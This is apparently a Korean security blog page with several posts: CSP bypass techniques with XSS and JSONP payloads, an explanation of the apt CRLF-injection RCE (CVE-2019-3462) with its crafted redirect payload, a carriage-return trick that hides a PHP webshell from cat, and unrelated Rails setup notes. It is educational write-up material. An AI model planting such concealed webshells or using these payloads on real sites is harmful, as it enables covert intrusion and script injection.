1/27/2019

CSP(Content-Security-Policy) Bypass technique

진작에 정리한다고 했는데, 바쁘다보니 거의 2주되어서야 글이 마무리되네요..
웹 보안 테스팅 중 가끔 이런 케이스 만나보시적이 있나요? XSS가 되었지만, 실제로 실행이 안되는 경우

Content Security Policy: 페이지 설정으로 인해 자원 읽기 차단: inline ("default-src")....

항상 우리의 발목을 잡는 보안정책 중 오늘은 CSP에 대한 이야기를 하려고 합니다.



What is CSP?

Content Security Policy로 웹 브라우저에서 사용하는 컨텐츠 기반의 보안 정책입니다. 쉽게 이야기하자면, 웹에서 사용하는 컨텐츠(이미지,스크립트 등등)에 대한 규칙 같으거라고 보시면됩니다.
SOP(Same Origin Policy)와 유사하게 차단한다는 점에서 비슷하지만, CSP의 경우 웹 사이트가 직접 룰을 적용해서 사용하게 됩니다. 결국은 사이트 별 설정에 따라 의미없는 보안정책일수도 있다는 의미입니다.

우선 CSP로 사용되는 대표적으로 쓰이는 헤더들은 아래와 같습니다.

* Content-Security-Policy : W3C에서 지정한 표준헤더, 대체로 이걸 사용함
* X-Content-Security-Policy : Firefox/IE 구형 브라우저에서 사용되는 헤더
* X-WebKit-CSP : Chrome 기반의 구형 브라우저에서 사용되는 헤더

이중에서 현재까지 쭉 사용되는 헤더는 Content-Security-Policy 헤더이고, 나머지는 약간 구 시대의 유물같은 존재입니다. 모질라 개발자 사이트에 예시들을 보면 이렇습니다.

하위 도메인의 리소스만만 사용할 수 있게
Content-Security-Policy: default-src 'self'

특정 도메인만 신뢰
Content-Security-Policy: default-src 'self' *.mydomain.com

특정 태그 계열만 허용
Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *

특정 도메인만 무조건 SSL 통신하도록
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com

Content-Seuciryt-Policy 헤더 내용으로 해당 웹 사이트에서 사용 가능한 CSP 정책에 대해 브라우저에게 전달해주고, 브라우저는 이를 기반으로 웹 페이지 렌더링/처리를 수행하게 됩니다.

헤더에서 사용되는 속성과 값에 대해 좀 더 정리해보면 이렇습니다.

* default-src : 모든 리소스에 대한 정책(아래 것들 다 포함)
* script-src : Javascript 등 웹에서 실행 가능한 스크립트에 대한 정책
* object-src : 플러그인, 오브젝트에 대한 정책
* style-src : style, 즉 css에 대한 정책
* img-src : 이미지
* media-src : video, audio
* frame-src : iframe, X-Frame 헤더랑은 비슷한 역할을 하지만, 약간 다르죠.
* font-src : font
* connect-src : script src로 불러올 수 있는 url에 대한 정책
* form-action : form 태그 내 action 부분에 대한 정책
* sandbox : HTML 샌드박스
* script-nonce : 위에 script-src + 아래쪽에 none 이 포함되는 정책, 약간 강한..
* plugin-types : 로드할 수 있는 플러그인 타입, 위에 object-src와 접점
* reflected-xss : X-XSS-Protection header와 동일한 효과, 실제로 이게 적용된 사이트는 아직 본적이 없네요..ㅋㅋ
* report-uri : 정책 위반 케이스가 나타났을 때 내용을 전달할 URL

속성에 매핑도는 값은 4가지 정도 있습니다.

* 'none'은 예상할 수 있듯이 아무것과도 일치하지 않습니다.
* 'self' 는 현재 출처와 일치하지만 하위 도메인은 일치하지 않습니다.
* 'unsafe-inline'은 인라인 자바스크립트 및 CSS를 허용합니다.
* 'unsafe-eval'은 eval 같은 텍스트-자바스크립트 메커니즘을 허용합니다.

그래서 만약 CSP가 이렇게 설정되어 있다고 한다면,

Content-Security-Policy: default-src ‘self’ abcd.hahwul.com

전체 리소스(default-src)에 대해 abcd.hahwul.com에 대한 도메인만 신뢰(self로 인해 정확하게 체크)하게 됩니다.

실제로 테스트해보면..

GET /csp.php?q=alert(45) HTTP/1.1

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com


<script>alert(45)</script>

script의 출처가 abcd.hahwul.com이 아니기(저 케이스는 inline) 때문에 차단당합니다.

Content Security Policy: 페이지 설정으로 인해 자원 읽기 차단: inline ("default-src").

CSP가 안들어간 사이트가 아직 굉장히 많긴 하지만, 간혹 만나게 도면 솔직히 골치아프긴 합니다. 그래서, 우회하는 케이스들 몇가지 정리해봅시다.
(전 제 블로그 참고용으로 많이 쓰기 떄문에... 컨닝 페이퍼 같은 느낌ㅋㅋ)

Bypass technique 1 - 신뢰 도메인에 source 업로드 후 로드


우성 CSP는 js,css 등 리소스들이 사용될 수 있는 구간(원격지, 로컬 등등)을 제한하는 헤더이고 결국 이 정책에 따라 우회방법이 달라지고 더 많아질겁니다.
(여기있는게 전부가 아닙니다. 상황에 따라서 엄청나게 많은 케이스가 있을거에요)

다만, 공통적으로 적용 가능한 부분이 CSP로 허용된 도메인에서 스크립트를 불러와 실행하는 경우입니다.
보통 CSP 헤더를 보면 많은 도메인들이 예외되어 있습니다. 그 중 cdn이나 파일을 올릴 수 있는 도메인들이 존재하는데, 스크립트를 담은 파일을 업로드한 후 땡겨서 사용하는 경우 우회가 가능합니다.

아까 위에서 테스트했던 요청으로 다시 보면..

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com

abcd.hahwul.com의 스크립트만 신뢰하기 때문에 abcd.hahwul.com에 js,txt 등 그냥 raw data가 올라갈 수 있는 파일만 올린 후 땡겨서 우회할 수 있습니다.
이 때 하나 아셔야할 부분은 어차피 script src 형태로 땡겨오게 되면, 해당 파일이 .js 인지, .html 인지 상관없다는 점입니다.

그래서 예를들어 아래와 같은 파일을 abcd.hahwul.com 으로 업로드 할 수 있다면 CSP에 대해 우회가 가능해집니다.

xss.txt
alert(document.location)

XSS Query
http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Response
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com


<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Bypass technique 2 - 신뢰 도메인의 json, jsonp callback을 이용

눈치 빠른분이면 1번 보고 이 방법도 바로 생각 나셨을 것 같네요. 위에서 이야기드린 대로 Content-Type은 중요하지 않기 때문에 어떤 형태로든 파일이 올라가면 된다고 했습니다. 정확히는 스크립트를 담은 response가 필요했던거죠.

JSON 형태의 요청(ajax, xmlhttprequest 등)은 요청 url과 return 값에 callback function 남겨줍니다. 이는 callback 데이터가 들어갈 function을 지정하는건데, 이때 발생하는 response 또한 text 이고 <script src="">로 읽어올 수 있습니다. 그래서 아래 같은 형태로 우회할 수 있습니다.

정상적인 경우에는 이런 요청으로 발생하겠죠.

[ Request ]
GET /jsonp?callback=callbackFunction

[ Response ]
HTTP/1.1 200 OK
Server: nginx

callbackFunction{"user":"hahwul","id":3422}

이를 이용하여 신뢰 도메인에 직접적인 파일 업로드는 불가능하지만, json jsonp response 등을 통해 스크립트 raw data를 넘겨주어서 csp로 하여금 정상적인 리소스로 착각하게 할 수 있습니다.

<script src=”http://abcd.hahwul.com/test/jsonp?callback=alert(45);//”></script>

원리를 보자면 jsonp 페이지는 callback(){"return":"data”} 같은 포맷으로 response를 넘겨주는데, callback function을 alert(45);// 로 지정해주면 결국 response 에는 이런 값이 담깁니다.

alert(45);//{"user":"hahwul","id":3422}

Script src로 읽어오는 경우 뒤에를 주석으로 보아 이런 포맷이 됩니다.

alert(45);//{"name": "hahwul", "id": 3422}

결국은 원격 도메인에서 xss 파일을 떙겨온것과 동일한 결과를 나타낼 수 있습니다.

Bypass technique 3 - 사이트 별 CSP 설정의 오점

일부 사이트들은 CSP 설정 중 unsafe-inline, unsafe-eval 등의 정책을 사용합니다. 기능적인 측면에서 어쩔 수 없이 사용하는 경우도 있겠지만, 결과적으론 CSP를 우회하는데 있어 굉장히 좋은 잘못된 정책이죠.

* 'none'은 예상할 수 있듯이 아무것과도 일치하지 않습니다.
* 'self' 는 현재 출처와 일치하지만 하위 도메인은 일치하지 않습니다.
* 'unsafe-inline'은 인라인 자바스크립트 및 CSS를 허용합니다.
* 'unsafe-eval'은 eval 같은 텍스트-자바스크립트 메커니즘을 허용합니다.

말그대로 인라인 자바스크립트,CSS 를 허용(또는 eval)하기 때문에 DOM에서 동작하는 부분들은 모두 걸리지 않게 됩니다. 이 헤더가 있는 경우엔 솔직히 CSP가 없다고 보는게 맞긴한데, 좀 더 공격자 관점에서 보면 외부 리소스 사용에 제한이 있다는 점이 리스크일듯합니다.
Stored의 경우엔 결국 서버단에 공격코드 전문이 남아야하고, Reflrected는 웹 서버가 GET(POST는 제한없으니..)으로 처리할 수 있는 최대 크기 이내로 코드가 들어가야한다는 점, Stored와 동일하게 전문을 남겨야 된다는 점이 부담으로 받아드릴 것 같네요.
(실제 광고 XSS 코드를 봐도, 결국 소유주의 키가 남아야해서.. 공격자는 그런점들을 최대한 가리고 싶어하겠죠. 그래서 열심히 Reflection 태우는거고..)

이 상황에서 외부 리소스를 쓰려면, 나머지 CSP 정책에 부합하지 않는 부분으로 코드를 떙겨오는 식으로 해야합니다.

아무쪼록, Unsafe-inline, unsafe-eval 이 있는 경우 인라인 자바스크립트를 허용하기 때문에 도메인과 별개로 로컬 스크립트로 우회가 가능합니다.

Bypass technique 4 - Server Error를 이용해 CSP 우회

이런 케이스가 드물긴할텐데, 간혹 스크립트 삽입 구간이 GNB 영역 같이 여러 페이지에 사용되는 서비스들이 있을 수 있습니다. 간혹 에러 페이지에도 GBN가 같이 딸려오는 경우도 있는데,
혹여나 이렇게 GNB 같이 에러 페이지에도 노출되는 영역에서 XSS가 되는 경우 이 방법으로 우회할 수도 있습니다.

보통은 서버에서 처리 시 200,300대는 CSP가 붙지만, 400, 500대 같은 에러 계열에선 CSP 적용을 안합니다. 이건 대다수 사이트가 그럴거에요.
공격자는 강제로 400, 500대 에러를 유도해서 CSP가 없는 상태에서 스크립트를 동작시킬 수 있습니다.

다만, 진짜로 아주 드문 경우에요.

Bypass technique 5 - static file을 이용한 우회

이건 저도 글 정리하려고 찾다보니 알게된 방법인데, 파비콘, 로봇txt 등 웹에서 기초적으로(?) 사용되는 일부 파일들은 CSP 영향을 안받는다고 하네요.
이런 파일들에 script를 올리거나 reflected 시킬 수 있으면 CSP 헤더가 있더라고 상관없이 스크립트를 동작시킬 수 있습니다

favicon.ico, robots.txt, sitemap.xml 등등..

CSP Testsite Online

구글에서 CSP Evaluator라는 CSP 진단(?) 웹 페이지를 제공하고 있는데, 이쪽에 테스트해보면 어떤 CSP 항목이 부족한지 노티해줍니다. 참고치정도로 사용하면 괜찮습니다.



unsafe, safe 한 경우의 샘플도 제공해주네요.

Unsafe policy
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js  https://*.gstatic.com/feedback/ https://ajax.googleapis.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com;
default-src 'self' * 127.0.0.1 https://[2a00:79e0:1b:2:b466:5fd9:dc72:f00e]/foobar;
img-src https: data:;
child-src data:;
foobar-src 'foobar';
report-uri http://csp.example.com;

Safe policy
script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https:;
object-src 'none';
base-uri 'none';
report-uri https://csp.example.com;

Conclusion

음.. XSS 우회방법, 아니 대다수 웹 해킹 기법들이 그렇지만 정답은 없습니다. 상황과 때에따라 여러가지 방법으로 우회할 수가 있고 여러 케이스에 대해 조금 더 숙지해두면 언젠다는 도움될날이 올거라 봅니다.

참고한문서, 보며 좋을 것 같은 문서들 아래 추가해놓으니 한번씩 싹 보시면 도움되실거라 믿어요 :)

Reference

https://csp-evaluator.withgoogle.com
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
https://developer.mozilla.org/ko/docs/Web/HTTP/CSP
https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html
Share: | Coffee Me:

1/25/2019

APT package manager RCE(Bypass file signatures via CRLF Injection / CVE-2019-3462)

최근에 apt 패키지 매니저 관련해서 RCE 취약점이 나왔었습니다. 물론 쉽게 공격 가능한 조건은 아니라 아주아주아주아주 크리티컬하진 않지만, 그래도 데비안 계열 배포판에선 무조건적으로 쓰이는 패키지 관리 툴이기 떄문에 여파가 좀 있었던 것 같습니다.

관련 내용 올라오자 마자 회사에서 따로 정리헀었는데, 기억 보듬어서 블로그에도 정리해봅니다 :)


What is apt?

apt는 데비안 계열에서 사용되는 패키지 매니저 입니다. 제 블로그 글에서도 apt가 굉장히 자주 나옵니다. 비슷한 툴로는 yum, pacman이 있습니다.
우선 apt 동작 원리를 가볍게 보고가면, /etc/apt/source.list에 정의된 아카이브 주소에 대해 접근해서 패키지 리스트를 받아오고(apt-get update), apt-get install 등을 통해 설치하게 되면 로컬에 저장된 패키지 리스트를 참고하여 원격지에 접근해서 다운로드하게 됩니다.
이 떄 다운로드 되는 파일은 .deb 파일(데비안 패키지 묶음)로 dpkg 통해서 개별 설치도 가능합니다.

아마.. dpkg 가 먼저 나오고 이를 관리하기 위해 apt가 나온걸로 알고있어요. (dpkg가 더 하위레벨 개념)

아무튼 다운로드된 .deb 파일을 시스템에서 설치하게 됩니다. 이 과정 전에 apt 자체적으로 의존성이랑 서명을 검증해줍니다. 아무튼 뭐 이런 툴입니다.

설치 과정을 좀 더 자세히 보면 이렇습니다.

apt-get install [패키지 이름]

이런식으로 명령을 줬을 때 위에서 이야기드린대로 로컬에서 세팅된 값을 보고 원격지 주소로 접근해서 다운로드 시도하게 되는데요, 이 떄 사용되는 요청 메소드가 /usr/lib/apt/methods/http 입니다.

줄여서.. apt/http 라고 부를께요.

apt/http는 아카이브 접근 후 아래와 같은 결과를 받아서 처리합니다.

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

일단 http response와 많이 유사하고, hash나 filename, uri 등의 정보를 받습니다. 이 정보는 실제 파일을 가져와서 실행되는데 사용됩니다.

What Vulnerabiliy?

기사나 여러 웹에서도 이야기하듯이 MITM 시 원격코드 실행이 가능한 취약점입니다. 좀 더 자세히 이야기하면 MITM 공격이나 아카이브 미러 사이트에 침해가 있을경우 영향 있으며, root 권한으로 명령실행(임의의 deb 파일 설치)가 가능합니다.
.deb 파일 또한 패키지의 묶음이기 때문에 결국은 명령이 실행되는 케이스입니다.

공격에 사용된 부분은 redirect되는 url, clrf(%0d0a) injection 입니다. 우선 아까 위애서 201 URI DONE으로 나타난 경우는 실제 파일이 있을 때 인데, 만약 다른 페이지로 redirect 되는 케이스가 있다며 apt/http는 이런 응답을 제공합니다.

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://www.hahwul.com

원래 웹 요청같은 경우는 이런 케이스이겠지요.

302 Redirect
Location: http://www.hahwul.com

아무튼 이런 케이스가 되면 원본 URI 아래 New-URI라는 필드로 apt/http가 가야할 링크가 삽입됩니다. 자 그럼 공격자가 위조한 URL에서 deb 파일을 받기 때문에 임의의 deb 설치가 가능한걸까요?

정답은 No 입니다.

CRLF Injection으로 서명 검증 우회하기

.deb 파일즉, 패키지 파일은 사용자가 서명해서 올리는게 아닌, apt source에 등록될 때 apt쪽 서명으로 파일의 무결성을 검증하게 됩니다. 그래서 임의의 파일 설치가 불가능하죠. (쟤네가 확인해준 파일이 아니기 때문에)
이 취약점의 메인은 이 부분입니다.

CRLF Injection으로 공격자는 apt/http의 응답값을 위조합니다. 만약 아카이브 링크가 이런 응답을 주면 apt는 어떻게 처리할까요?

302 Redirect
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

Location에 있는 Url을 New-URI에 집어넣고 다시 따라가려고 할텐데요, 실제로 들어가면 이렇게 들어가집니다.

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload


201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

New-URI 부분에 값이 들어가다가 개행문자를 만나서 개행해버리고, 공격자가 의도한대로 201 URI Done으로 구문이 작성됩니다. 결론적으론 apt/http의 response 상으로는 /payload 페이지 접근해서 파일을 받으라는 response로 해독될 수 있는데, 자세히 보시면 이상한게 하나 있습니다.
바로 Filename 부분이 deb.debian.org_debian_dists_stretch_Release.gpg 인데요, 이는 아까 서명 검증을 우회하기 위해 apt에서 서명해서 내려온 파일의 경로를 지정해준겁니다.

실제 설치는 URI에서 진행하고, 파일에 대한 검증은 Filename 부분에서 검증하다 보니 결국 서명은 정상적으로 보고있지만, 다른 파일의 서명을 읽어 처리했기 때문에 공격자가 만든 파일은 정상 서명으로 판단되어 넘어가지게 됩니다.

Conclusion

서명 우회 부분은 솔직히 좀 독특했습니다. 짧은 시간 훑어 본거지만, 굉장히 재미있었네요. 아 참 다시 정리하다보니 놓친게 보였네요.. (회사에 정리해둔거 다시 반영해놔야겠다..ㅋㅋ)
아무튼 임팩트있고, 재미있는 취약점이였고 대응 관련해선 업데이트해주시면 깔끔하게 마무리됩니다.

(패치 버전은 찾으면 금방 나오니 보시고 업데이트 고고)

임시로는 Redirect 방지(Acquire::http::AllowRedirect=false 옵션)라고 하는데, 솔직히 MITM 환경에선 Redirect가 문제가 아니라 CRLF 자체에 대한 부분이 더 커보여서 저 방법이 맞는지는 모르겠네요.
업데이트가 제일 좋은 방법이고, 장기적으론 아카이브 또한 https로 가는게 맞지 않나 싶습니다.
(이거 아마 인증서 만료나 이런 사이드 이슈 생길까봐 대다수 아카이브들이 안하는걸까.. 이유를 모르겠군, 속도는 얼마 차이 없을텐데)

Reference

https://security-tracker.debian.org/tracker/CVE-2019-3462
https://usn.ubuntu.com/3863-1/
https://justi.cz/security/2019/01/22/apt-rce.html

Share: | Coffee Me:

1/24/2019

PHP Hidden webshell with carriage return(\r, hack trick)

오늘 아침에 취약점 몇개 분석하고 보다가 트위터에서 재미있는걸 발견했습니다.
PHP Hidden webshell 이란 내용으로 올라온 글인데, 간단한 트릭이지만 저렇게 될거란 생각 조차 안하고 있었네요.. (내가 한심..)
(역시 브루트로직 https://twitter.com/brutelogic/status/1087723868532469763)

carriage return(\r) 을 이용해서 echo로 아래와 같이 test.php를 만들어주면..

$ echo -e "<?=\`\$_POST[1]\`?>\r<?='blank file';?>" > test.php

cat으로 볼땐 blank file만 보이지만,

$ cat test.php
<?='blank file';?>

실제로 웹 요청 시 POSt 구문이 처리되어 backtick 으로 인해 명령이 실행되는걸 볼 수 있습니다.

$ curl http://192.168.0.11/test.php -d 1=id
uid=1490(-----) gid=100(users) groups=100(users),99(nobody)


왜 이렇게 되는걸까?

대학생 때 진행해보 첫 프로젝트가 C언어로 게임 만들기였습니다. cmd 내에서 하는 rpg 게임이였는데... 화면 렌더링을 우해 \r 문자를 썼었던 기억이 있습니다. (글쓰다가 급 생각나서)

\r 은 해당 라인의 맨앞을 의미하는 문자입니다. 이게 OS별로 좀 다르게 쓰이긴하지만, Unix 기반 + C 언어 내부 등등 여러곳에서 맨앞을 의미하도록 사용됩니다.

참고: https://ko.wikipedia.org/wiki/캐리지_리턴

고로 위에서의 echo 구문은 POST 구문을 찍고, 다시 맨앞으로 가서 blank file 구문을 찍도록 합니다. 실제 값은 둘 다 있지만 command line에서 cat으로 찍어볼 땐 \r이 먹어서 마치 blank file 만 있는 것처럼 보이게 됩니다.

실제로 hexdump 떠보면..

$ hexdump -C test.php
00000000  3c 3f 3d 60 24 5f 50 4f  53 54 5b 31 5d 60 3f 3e  |<?=`$_POST[1]`?>|
00000010  0d 3c 3f 3d 27 62 6c 61  6e 6b 20 66 69 6c 65 27  |.<?='blank file'|
00000020  3b 3f 3e 0a                                       |;?>.|
00000024

둘 다 있는걸 알 수 있습니다.

어디에 또 쓰일 수 있을까?

솔직히 저걸로 장비는 속일 수 없습니다. (원문 자체가 바뀌는게 아니라서..) 단 사람 눈을 속일 수 있어서 일단 SE나 개발자가 육안으로 발견할 가능성이 좀 줄어들거고,
subprocess로 cat 같이 \r 을 처리하는 명령으로 데이터를 읽어서 처리하는 보안 툴(?)이 있다면 영향있을 것 같네요.

그냥 간단한 트릭이니 가볍게 넘어갑시다!
(정리중인 글은 많은데, 언제 다 올리지...허허헣)
Share: | Coffee Me:

1/21/2019

Rails app에서 public 하위 파일을 읽어오지 못할 때(Rails not serving static files in public dir)

Rails App내 /public은 레일즈 동작과 별개로 static 한 html,css,js 등을 표현할 수 있는 디렉토리입니다.

저는 보통 static 한 테스트 코드들을 여기다가 올려두고 쓰는데, 어느날부터인가 public 하위에 있는 파일들이 정상적으로 로드되지 않았습니다..
(이 시점이 아마 command line => rubymine 으로 넘어간 시점인듯해요)

찾아보니 알게된건데, ruby의 environments에서 RAILS_SERVE_STATIC_FILES 환경변수 값을 읽어 public 하위의 파일들을 읽을지 말지 결정하는 옵션이 있습니다.
phase(prod,dev,test 등등) 별로 다르게도 지정할 수 있으니 사용하시는 phase에서 옵션을 제거해주거나, 이에 맞는 값을 세팅해주어 pubilc 하위의 파일을 읽도록 바꿀 수 있습니다.

config/environments/production.rb (각 phase별로..)
# [+] 추가 
config.serve_static_assets = true 

# [-] 삭제
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?

또는 환경변수에 RAILS_SERVE_STATIC_FILES를 true로 설정해서 해결 가능합니다.

export RAILS_SERVE_STATIC_FILES=true

혹시라도 public 하위의 모든 파일이 아닌 일부 js/css 의 로드만 필요한 거라면 app/assets/javascript , app/assets/stylesheets 에 넣어주어 아래 코드로 로드되게 하는게 맞을 것 같습니다.
(이게 rails가 의도한 액션이곘죠)

<%= stylesheet_link_tag 'application', media: 'all' %>
<%= javascript_include_tag 'application' %>
Share: | Coffee Me:

1/20/2019

Task manager app with Ruby on Rails(할일 관리 도구 만들기)

할일 관리 도구? 가 필요해서 뭐 쓸까 고민하다 걍 rails로 만들고 있는데, 별건 아니지만 그냥 글로 남겨둡니다.

https://gph.is/XGFOUK

Rails Setup 

최근에 Vim => Rubymine 으로 개발 환경 변경을 했던지라 대다수 과정이 자동화되서 엄청 편했음.. 프로젝트 하나 만들어주시고..
혹시라도 콘솔 작업이시면 ..

rails new pjpj

이고 저희 경우는 postgresql을 쓸거라 db를 저걸로 맞춰줬습니다. 개인의 취향따라 고고고 합시다.

DB(PostgreSQL on Rails) 세팅하기

우선 저는 postgresql을 쓰기 때문에, 해당 앱을 위한 계정을 생성해줘야합니다. (사실 뭐 통합으로 써도 되긴하지만, 이왕이면 권한분리)

계정생성
createuser hahwul

기본적으로 패스워드 설정이 안되어 있는데 다른 DB와 동일하게 쿼리로 세팅해줄 수 있습니다. psql로 query 진입 후 alter user로 바꿔줍시다.

패스워드 설정
psql
psql=# alter user hahwul with encrypted password ‘your_password'

그러고 다시 쉘로 나와서 db도 생성해줍니다.

DB 생성
createdb hwul_db

이제 아까 만든 계정에 이 db 권한을 줍시다.

권한 부여
psql
psql=# grant all privileges on database hwul_db to hahwul

일단 여기까지 하면 postgresql에서의 세팅은 끝입니다. 이제 rails 앱쪽으로 가서 db 정보를 수정해줍시다.

vim database.yml
production:
  <<: database:="" default="" env="" hahwul="" hwul_db="" password:="" username:="">

개발환경에서 테스트하거나, 유닛 테스트하려면 develperment랑 test도 지정해 주셔야합니다.
(개인의 취향따라..)

이게 예전에는 database.yml에 직접 패스워드를 기입하는 형태로 많이했었는데, 솔직히 썩 좋은 방법은 아닙니다. 환경변수로 지정해주고 로그하는게 훨씬 좋아요 :)
(혹시라도 git에 올리면 안남으니깐)

export HAHWUL_DATABASE_PASSWORD=your_password

후우 이제 rails의 db가 postgresql로 연결됩니다.

전체적인 구조 만들기 


할일을 관리(?)하는 도구이기 때문에 요정도 있음 어떨까 싶습니다.

title : 할일 제목
body : 내용
state : 상태(false=미진행, true=완료)
add_date : 등록 날짜
modified_date : 최근 수정일(나중에 리스트 너무 커지면 날짜 기준으로 정렬하며 어떨까해서..예를들면 한주 ㅋㅋ)
tag : 이건 실제로 추가는 안했느데, 글쓰다보니 생각나서 포함했습니다. 나중에... db 수정해서 추가해야겠네요.

rails으 강점은 역시 scaffold!

rails g scaffold Work title:string body:text state:boolean add_date:datetime modified_date:datetime

db migrate 해주면,

rake db:migrate

일단 기본적인 CRUD랑 Data model, 아주 기본적인 View는 완료되었네요.
공통 css랑 index 코드 몇개 수정했습니다.

.wrapper{
    width: 100%;
}
.wrapper.td{
    width:33.3%
}

<p id="notice"><%= notice %></p>


<%
  job_success = Array.new
  job_list = Array.new


  @works.each do |work|
    if work.state
      job_success.push(work)
    else
      job_list.push(work)
    end
  end
%>


<%= link_to 'New Work', new_work_path %>
<hr>


<table class="wrapper">
  <tr>
    <td>Detail</td>
    <td>Works</td>
    <td>Success</td>
  </tr>
  <tr>
    <td style="border-right: 1px solid #333333"></td>
    <td>
      <table>
      <% job_list.each do |work| %>
          <tr>
            <td><%= work.title %></td>
            <td><%= work.add_date %></td>
            <td><%= work.modified_date %></td>
            <td><%= link_to 'Show', work %></td>
            <td><%= link_to 'Edit', edit_work_path(work) %></td>
            <td><%= link_to 'Destroy', work, method: :delete, data: { confirm: 'Are you sure?' } %></td>
          </tr>
      <% end %>
      </table>
    </td>
    <td>
      <table>
        <% job_success.each do |work| %>
          <tr>
            <td><%= work.title %></td>
            <td><%= work.add_date %></td>
            <td><%= work.modified_date %></td>
            <td><%= link_to 'Show', work %></td>
            <td><%= link_to 'Edit', edit_work_path(work) %></td>
            <td><%= link_to 'Destroy', work, method: :delete, data: { confirm: 'Are you sure?' } %></td>
          </tr>
        <% end %>
      </table>
    </td>


  </tr>
</table>



자 빠르게 기능 몇개만 더 추가해보죠.

상태 변경 버튼 만들기

버튼 클릭하면 완료 / 재오픈 할 수 있는 기능이 제일 우선이였습니다. (언제 수정 누르고 이썽..)
일단 버튼을 누르면 자동으로 state 값을 변화시킬거고, 이는 로직만 있는 부분이니 controller 하나 만들어주고 기능을 엮어봅시다.

rails g controller updatework to_success to_list

네이밍 엄청 거지 같긴한데, updatework 라고 지었어요... updatework controller에 to_success(완료처리), to_list(재오픈) 을 사용할거라고 같이 인자로 넣어줍니다.
컨트롤러를 만들면 기본적으로 라우팅이 GET으로 잡혀있습니다. 기능 처리 부분이고 HTML 페이지를 렌더링해줄 것도 아니니, POSt로 바꿔줍시다(이게 더 어울린다고 생각했어요)

route.rb 에서 post로 수정
Rails.application.routes.draw do
  post 'updatework/to_success'
  post 'updatework/to_list'
  resources :works
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
end

그럼 이제 updatework/to_sucess , updatework/to_list로 POST 요청이 발생하면 해당 controller의 로직을 타게 됩니다.

우선 index에서 button 포맷을 하나 추가해주고.. updatework를 바라보게 코드 작성합니다. work가 위에 work contoller의 처리 결과(각 개별 데이터)인데, 이를 인자값으로 넘겨줍시다(실제 요청에선 넘버링된 값)

index.html.erb
<%= button_to "Success", updatework_to_list_path, params: {id: work} %>

그리고.. updatework의 controller 내용을 채워줍시다.

updatework_controller.rb
class UpdateworkController < ApplicationController
  before_action :set_list, only: [:to_list, :to_success]
  # action이 들어오면 set_list 함수를 호출해서
  # Work 객체에서 id값으로 해당 데이터를 찾아서 @work에 저장합니다
 
  def to_success
    # 완료 처리일 때 state 를 true로
    @work.update(:state => true)
    redirect_back fallback_location: 'works'
  end


  def to_list
    # 재오픈일 때 false로 변경해줍시다.
    @work.update(:state => false)
    redirect_back fallback_location: 'works'
  end

